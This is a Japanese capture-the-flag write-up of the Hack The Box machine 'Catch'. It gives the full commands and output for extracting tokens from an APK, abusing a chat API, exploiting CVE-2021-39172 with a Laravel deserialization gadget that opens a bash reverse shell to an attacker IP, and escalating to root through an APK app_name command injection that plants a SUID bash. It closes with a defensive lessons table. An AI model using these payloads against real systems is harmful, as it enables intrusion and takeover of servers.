Hack The BoxのWriteup(Catch)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Catch — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/3000/5000/8000
→
catchv1.0.apk 取得
apktoolでデコンパイル
→
lets_chat_token 抽出
strings.xml内の埋め込みトークン
→
Let’s Chat API
status roomのjohn認証情報リーク
→
CVE-2021-39172
.env設定注入→Redis乗っ取り
→
PHPデシリアライズRCE
Laravel PendingBroadcastガジェット
→
www-data → will
.envのDB creds → SSH → user.txt ✓
→
verify.sh app_check()
APKのapp_nameコマンドインジェクション
→
SUID bash → root.txt ✓

Nmapバージョン・スクリプトスキャン

BASH
nmap -p 22,80,3000,5000,8000 -sCV 10.129.67.184
RESULT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Catch Global Systems
3000/tcp open  http    Golang net/http server
|   GetRequest:
|     Set-Cookie: i_like_gitea=2eaaa07430613421; Path=/; HttpOnly
|     <title> Catch Repositories </title>
5000/tcp open  upnp?
|   GetRequest:
|     HTTP/1.1 302 Found
|     Location: /login
|     Set-Cookie: connect.sid=s%3A6Pa7XlqgLip2g...
8000/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Catch Global Systems

Service Info: OS: Linux
🚨
重要発見: 5台構成のマルチサービス環境。ポート80は「Catch Global Systems」の企業サイト (静的コンテンツ)、ポート3000はGitea (Cookie名 i_like_gitea で特定)、 ポート5000は”Let’s Chat” (connect.sid Cookie、Node.js/Express製)、 ポート8000は別のApacheインスタンスでCachetステータスページシステムが稼働。 ポート80/8000で Apache/2.4.41 と Apache/2.4.29 の2つの異なるバージョンが 混在しており、ポート8000はDockerコンテナ内で稼働していることが示唆される。

ポート80: Catch Global Systems (企業サイト)

BASH
curl -s http://10.129.67.184/ | grep -io 'catchv[0-9.]*\.apk'
RESULT
catchv1.0.apk
📱
トップページのリンクはほぼ全てダミーだが、「Download Now」ボタンだけが実際に catchv1.0.apk というAndroidアプリをダウンロードさせる。 本マシンでは、この場所しか実質的な攻撃対象になり得ない — つまりAndroidアプリの リバースエンジニアリングが攻略の起点になる。

ポート8000: Cachetステータスページ

BASH
curl -sI http://10.129.67.184:8000/
RESULT
HTTP/1.1 200 OK
Server: Apache/2.4.29 (Ubuntu)
Cache-Control: no-cache, private
Set-Cookie: XSRF-TOKEN=eyJpdiI6IkgrWktxa0JHT0M4bkNpdlZFV2JSemc9PSIs...
Set-Cookie: laravel_session=eyJpdiI6IlhBMVlCbnVDZnVVREdGZ1ZoQ20ra1E9...
Content-Type: text/html; charset=UTF-8
✅
XSRF-TOKEN / laravel_session CookieからPHP Laravelフレームワーク製 であることが判明。フッターとログインフォームからCachet (OSSステータスページシステム) と特定。 Cachetには2021年に複数のCVE (CVE-2021-39165 SQLi、CVE-2021-39172/39173/39174 設定注入RCE系) が 公開されており、いずれも本マシンの攻略に利用できる。
PHASE 2

Androidアプリ (catchv1.0.apk) のリバースエンジニアリング

APKのダウンロードとapktoolでのデコンパイル

BASH
curl -s -o catchv1.0.apk http://10.129.67.184/catchv1.0.apk
apktool d -f catchv1.0.apk -o decomp
RESULT
I: Using Apktool 2.7.0-dirty on catchv1.0.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
💡
MobSF等の静的解析ツールでこのAPKを解析すると「Hardcoded Secrets」として複数のAPIトークン (gitea_token / lets_chat_token / slack_token) が 検出される。これらは開発者が誤って本番ビルドに埋め込んでしまった認証情報。 AndroidManifest.xml によれば、アプリのエントリポイントは com.example.acatch.MainActivity で、WebViewを使い status.catch.htb (Cachetステータスページ) をロードするだけの単純な構成。

strings.xml から埋め込みトークンを抽出

BASH
grep -i "token\|app_name" decomp/res/values/strings.xml
RESULT
    <string name="app_name">Catch</string>
    <string name="gitea_token">b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0</string>
    <string name="lets_chat_token">NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==</string>
    <string name="slack_token">xoxp-23984754863-2348975623103</string>
🚨
lets_chat_token をBase64デコードすると <24桁hexのユーザーID>:<40桁hexのハッシュ> という形式になっており、 Let’s Chat APIの認証トークンとして直接利用できる。gitea_token はGitea Swagger UI から試したが無効 (Gitea側では既に失効/別用途) だった。この lets_chat_token の値は、別セッションでAPKを再取得しても完全に一致する静的な値である ことを確認済み — つまりインスタンスを再生成しても使い回せる。
PHASE 3

Let’s Chat API 悪用 — johnのCachet認証情報リーク

Bearerトークンでチャットルーム一覧取得

BASH
export token="NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ=="
curl -s http://10.129.67.184:5000/rooms -H "Authorization: Bearer $token" | jq .
RESULT
[
  { "id": "61b86b28d984e2451036eb17", "slug": "status", "name": "Status",
    "description": "Cachet Updates and Maintenance" },
  { "id": "61b8708efe190b466d476bfb", "slug": "android_dev", "name": "Android Development" },
  { "id": "61b86b3fd984e2451036eb18", "slug": "employees", "name": "Employees" }
]
✅
トークン認証成功。「Rooms」「Messages」「Files」「Users」「Account」のAPIが利用可能で、 認証なしでは Unauthorized が返る。3つのルームのうち status が 「Cachet Updates and Maintenance」という説明を持ち最も怪しい。

statusルームのメッセージ履歴からjohnの認証情報を取得

BASH
curl -s http://10.129.67.184:5000/rooms/61b86b28d984e2451036eb17/messages \
  -H "Authorization: Bearer $token" \
  | jq -c '. | reverse | .[] | [.text, .owner]'
RESULT
["Hey Team! I'll be handling the `status.catch.htb` from now on...", "..."]
["Can you create an account for me ? ", "..."]
["Sure one sec.", "..."]
["Here are the credentials `john :  E}V!mywu_69T4C}W`", "..."]
["@john is it possible to add SSL to our status domain...", "..."]
🚨
認証情報漏洩: チャットログに平文で john : E}V!mywu_69T4C}W というCachet用の認証情報が残っている。この値はSSHログインには使えない (Permission denied) が、Cachet管理画面 (port 8000) へのログインには成功する。
PHASE 4

CVE-2021-39172 (.env設定注入) → Redisデシリアライズ RCE → user.txt

johnでCachetにログイン

PYTHON
import requests, re
s = requests.Session()
r = s.get("http://10.129.67.184:8000/auth/login")
token = re.search(r'name="_token" value="([^"]+)"', r.text).group(1)
data = {"_token": token, "username": "john", "password": "E}V!mywu_69T4C}W", "remember_me": "0"}
r = s.post("http://10.129.67.184:8000/auth/login", data=data)
print(r.status_code, r.url)
RESULT
200 http://10.129.67.184:8000/dashboard
📝
ログインフォームのフィールド名は email ではなく username (HTMLソースの <input name="username"> で確認)。/dashboard へのリダイレクトが確認でき、ログイン成功。

CVE-2021-39172: Mail設定フォームで .env に任意行を注入

NOTE
Cachetの「Settings > Mail」フォームはPOSTボディで config[mail_driver] 等を
送信し、その値を .env ファイルに書き込む。Laravelの .env パーサーは1行1変数
だが、このバリデーションには「送信するキー名」自体へのチェックが無いため、
本来 config[mail_driver] であるべきキー名を config[cache_driver] に
差し替えて送信すると、.env に全く別の変数 (CACHE_DRIVER) を上書き注入できる。
さらに値に \r\n を含めることで複数行 (複数の環境変数) を一度に注入できる。

Laravelの .env パーサーは「同名キーが複数あれば最初の定義が有効」という
仕様のため、注入した行が既存の正規定義より前に来れば確実に上書きできる。
PYTHON
r = s.get("http://10.129.67.184:8000/dashboard/settings/mail")
token = re.search(r'name="_token" value="([^"]+)"', r.text).group(1)

payload_value = "file\r\nREDIS_HOST=10.10.15.200\r\nREDIS_PORT=6379\r\nSESSION_DRIVER=redis"
data = {
    "_token": token,
    "config[cache_driver]": payload_value,   # config[mail_driver] の代わりに送信
    "config[mail_host]": "", "config[mail_address]": "notify@example.com",
    "config[mail_username]": "", "config[mail_password]": "",
}
s.post("http://10.129.67.184:8000/dashboard/settings/mail", data=data)
✅
送信後、Cachetのセッションキャッシュ先が攻撃者のRedisサーバ (Kali自身) に切り替わる。 この設定は一定時間で自動リセットされるため、次のRCEステップまでを手早く行う必要がある。

Redisにキャッシュされたセッションを不正なPHPシリアライズオブジェクトに差し替え

BASH
# 自分のRedisサーバを起動 (攻撃対象からアクセスできるよう全interfaceでlisten)
redis-server --protected-mode no --bind 0.0.0.0 --port 6379 --daemonize yes
PYTHON
# 未認証セッションを新規発行させ、対応するRedisキーを特定
before = set(subprocess.run(["redis-cli","-h","127.0.0.1","keys","*"],
             capture_output=True, text=True).stdout.splitlines())
victim = requests.Session()
victim.get("http://10.129.67.184:8000/auth/login")
after  = set(subprocess.run(["redis-cli","-h","127.0.0.1","keys","*"],
             capture_output=True, text=True).stdout.splitlines())
key = (after - before).pop()   # 例: laravel:NlvdlHxV8PSgXecoqhGJE590H7kvx89fGkRthEZy

# リバースシェルを起動するsystem()呼び出しをLaravel/RCE4ガジェットで組み立て
rev_b64 = base64.b64encode(b"bash -i >& /dev/tcp/10.10.15.200/44441 0>&1 ").decode()
cmd = f"echo {rev_b64}|base64 -d|bash"
payload = (
    'O:40:"Illuminate\\Broadcasting\\PendingBroadcast":2:{'
    'S:9:"\\00*\\00events";O:31:"Illuminate\\Validation\\Validator":1:{'
    'S:10:"extensions";a:1:{S:0:"";S:6:"system";}}'
    f'S:8:"\\00*\\00event";S:{len(cmd)}:"{cmd}";}}'
)
subprocess.run(["redis-cli","-h","127.0.0.1","set", key, payload])

# 同一セッションで再アクセス → デシリアライズ時にRCE発火
victim.get("http://10.129.67.184:8000/auth/login", timeout=6)  # (ハングするのが正常)
RESULT (nc リスナー側)
$ nc -lnvp 44441
listening on [any] 44441 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.67.184] 52232
bash: cannot set terminal process group (26): Inappropriate ioctl for device
bash: no job control in this shell
www-data@f69a3a4bdd23:/var/www/html/Cachet/public$
✅
RCE成功! Illuminate\Broadcasting\PendingBroadcast の __destruct が、Illuminate\Validation\Validator の extensions 配列に登録した "system" を関数として呼び出す ガジェットチェーン (phpggc Laravel/RCE4 相当) により、www-dataコンテナ内で 任意コマンド実行に成功。ホスト名 f69a3a4bdd23 からDockerコンテナ内であることが分かる。

.env から DB 認証情報 (will) を取得 → SSH → user.txt

BASH
www-data@f69a3a4bdd23:$ cat /var/www/html/Cachet/.env
RESULT
APP_ENV=production
...
DB_DRIVER=mysql
DB_HOST=localhost
DB_DATABASE=cachet
DB_USERNAME=will
DB_PASSWORD=s2#4Fg0_%3!
BASH
sshpass -p 's2#4Fg0_%3!' ssh will@10.129.67.184 "cat ~/user.txt"
RESULT
d3845a06cfcc99b7d63b7dd2b2f6ca3e
user.txt — will@catch
d3845a06cfcc99b7d63b7dd2b2f6ca3e
💡
Cachetのコンテナ用DB認証情報が、そのままホスト側OSユーザー will の SSH パスワードとしても 使い回されている。コンテナ→ホストの権限境界がこの認証情報の使い回しによって 実質的に無効化されている。
PHASE 5

権限昇格の下調べ — MDM検証スクリプト verify.sh

/opt/mdm/ の発見と pspy によるプロセス監視

BASH
will@catch:/opt$ ls
containerd  mdm
will@catch:/opt/mdm$ ls
apk_bin  verify.sh
BASH
# pspy64 をアップロードしてプロセス監視
scp /opt/pspy/pspy64 will@10.129.67.184:/dev/shm/
./pspy64
RESULT
2022/06/29 19:25:01 CMD: UID=0    PID=1000440 | /bin/bash /opt/mdm/verify.sh
🚨
/opt/mdm/verify.sh がroot権限で毎分実行されている。 MDM (Mobile Device Management) の検証スクリプトで、/opt/mdm/apk_bin/ に 置かれたAPKファイルを自動的に検証する仕組みらしい。

verify.sh のソースコード解析 — app_check() のコマンドインジェクション

BASH
will@catch:/opt/mdm$ cat verify.sh
RESULT (抜粋)
DROPBOX=/opt/mdm/apk_bin
IN_FOLDER=/root/mdm/apk_bin
OUT_FOLDER=/root/mdm/certified_apps
PROCESS_BIN=/root/mdm/process_bin

for IN_APK_NAME in $DROPBOX/*.apk; do
    ...
    sig_check  $IN_FOLDER $APK_NAME
    comp_check $IN_FOLDER $APK_NAME $PROCESS_BIN   # ここでAPKをデコンパイル
    app_check  $PROCESS_BIN $OUT_FOLDER $IN_FOLDER $OUT_APK_NAME
done
cleanup

app_check() {
    APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml")
    echo $APP_NAME
    if [[ $APP_NAME == *"Catch"* ]]; then
        echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
        mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
    else
        echo "[!] App doesn't belong to Catch Global"
        cleanup; exit
    fi
}
🚨
コマンドインジェクション脆弱性: app_check() は アップロードされたAPKの strings.xml から app_name の値を ダブルクォートで囲まずに echo -n $APP_NAME でシェルへ渡している。 app_name の値に “Catch” という部分文字列さえ含んでいれば $(...) サブシェル構文によるコマンド注入が成立する。root権限で毎分実行される ため、悪意あるAPKを /opt/mdm/apk_bin/ に置くだけでroot化できる。
PHASE 6

APK app_name コマンドインジェクション → root.txt

APKを改変 (app_nameにペイロードを注入)

BASH
# decomp/res/values/strings.xml の app_name を書き換え
<string name="app_name">Catch$(cp /bin/bash /tmp/0xdf; chmod 4777 /tmp/0xdf)</string>

apktool b --use-aapt2 -f decomp -o modified.apk
⚠️
トラブルシューティング: 素の apktool b は、このAPKが持つ パスワード表示アイコンのAnimated Vector Drawable (avd_hide_password 等) が デコンパイル時に生成する先頭 $ 付きファイル名 ($avd_hide_password__0.xml) がAndroidのリソース名規則 [a-z0-9_.] に違反するため、 Invalid file name エラーで再ビルドに失敗する。また システムの古い aapt (AOSP由来のv0.2-debianビルド) は "First type is not attr!" という別のクラッシュも起こす。 $ を除去してファイル名と全参照 (public.xml 等) をリネームし、 --use-aapt2 を明示することでどちらも回避できる。

改変APKを /opt/mdm/apk_bin/ にアップロードし cron を待つ

BASH
sshpass -p 's2#4Fg0_%3!' scp modified.apk will@10.129.67.184:/opt/mdm/apk_bin/evil.apk

# 1分ほど待って確認
sshpass -p 's2#4Fg0_%3!' ssh will@10.129.67.184 "ls -la /tmp/0xdf"
RESULT
-rwsrwxrwx 1 root root 1183448 Sep 23 05:54 /tmp/0xdf
✅
verify.sh の次のcronサイクル (最大1分待ち) で app_check() が発火し、 /bin/bash のコピーが /tmp/0xdf にSUID (root所有・4777) 付きで 設置された。

SUID bash で root.txt を直接取得

BASH
sshpass -p 's2#4Fg0_%3!' ssh will@10.129.67.184 "/tmp/0xdf -p -c 'cat /root/root.txt'"
RESULT
9ab198d30375c8f81b9280e368f80ac5
root.txt — root@catch
9ab198d30375c8f81b9280e368f80ac5
💡
bashの -p オプション (privileged mode) は、実効uidと実uidが異なる状態で 起動された際に実効uidを実uidへ落とさない特権保持モード。SUIDビットの付いた /tmp/0xdf を -p -c '<コマンド>' の形で直接実行するだけで、 対話的PTYを一切確立せずにroot権限でのワンショット・コマンド実行が可能。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — will@catch
d3845a06cfcc99b7d63b7dd2b2f6ca3e
root.txt — root@catch
9ab198d30375c8f81b9280e368f80ac5

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
ハードコードAPIトークン catchv1.0.apk (Android) 内部チャットサービスへの認証 Medium apktoolでデコンパイルし strings.xml から lets_chat_token を抽出
平文認証情報の記録 Let’s Chat (port 5000) Cachet管理者(john)アカウントの奪取 Medium チャットログAPIをトークン認証で読み出し、平文パスワードを取得
CVE-2021-39172 Cachet 2.4 (.env設定注入) リモートコード実行 (www-data) Critical Mail設定フォームのパラメータ名差し替えで .env にRedis乗っ取り設定を注入し、 セッションデシリアライズ経由でPHPガジェットチェーンRCE
DB認証情報の使い回し Cachet .env → OSユーザー will コンテナ→ホストの権限境界突破 (SSH) High コンテナ内 .env のMySQL認証情報がそのままホストOSユーザーのSSHパスワードとして機能
MDM検証スクリプトのコマンドインジェクション /opt/mdm/verify.sh (root, minutely cron) 権限昇格 (root) Critical APKの app_name 文字列リソースを未クォートでシェルへ渡す実装ミスを突き、 $(...) サブシェル構文でSUID bashを設置

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap (22/80/3000/5000/8000)Gitea・Let’s Chat・Cachetの多重Webサービス構成を特定
2APK解析apktool d + strings.xmllets_chat_token (Let’s Chat Bearerトークン) 抽出
3資格情報リークLet’s Chat API (/rooms, /messages)Cachet用 john の平文パスワード取得
4RCE & エクスプロイトCVE-2021-39172 (.env注入 + Redisデシリアライズ)user.txt 取得 (willシェル)
5権限調査pspy + verify.sh ソース解析root権限cronのAPKコマンドインジェクション発見
6権限昇格app_name コマンドインジェクション + SUID bashroot.txt 取得

学んだ教訓 & 防御策

問題点防御策
Androidアプリのビルド成果物にAPI認証トークンが平文で埋め込まれている シークレットはビルド時に注入し、クライアント配布物には含めない。BuildConfig/strings.xmlへの 直接埋め込みを避け、サーバサイドでトークンを発行する設計に変更する。
チャットサービスに平文パスワードがそのまま投稿・保存されている 認証情報の共有はパスワードマネージャー等の専用チャネルで行い、チャットログには残さない 運用ルールを徹底する。
Cachetの設定更新フォームがパラメータ名の検証なしに .env へ直接書き込む 許可された設定キーのホワイトリストを設け、任意のキー名を受理しないようサーバ側で 厳格にバリデーションする。CVE-2021-39172のパッチを適用しCachetを最新版へ更新する。
コンテナ内DB認証情報がホストOSユーザーのパスワードと同一 コンテナとホストで認証情報を完全に分離する。パスワードの使い回しを禁止し、 最小権限のサービスアカウントを個別に発行する。
root権限cronスクリプトが外部入力 (APKのapp_name) を未クォートでシェルへ渡している シェル変数は必ずダブルクォートで囲む ("$APP_NAME")。外部由来のファイル内容を 信頼せず、コマンド実行が必要な場合は配列渡し/execveベースのAPIを使いシェル解釈を経由しない。
HackTheBox: Catch | 完全攻略レポート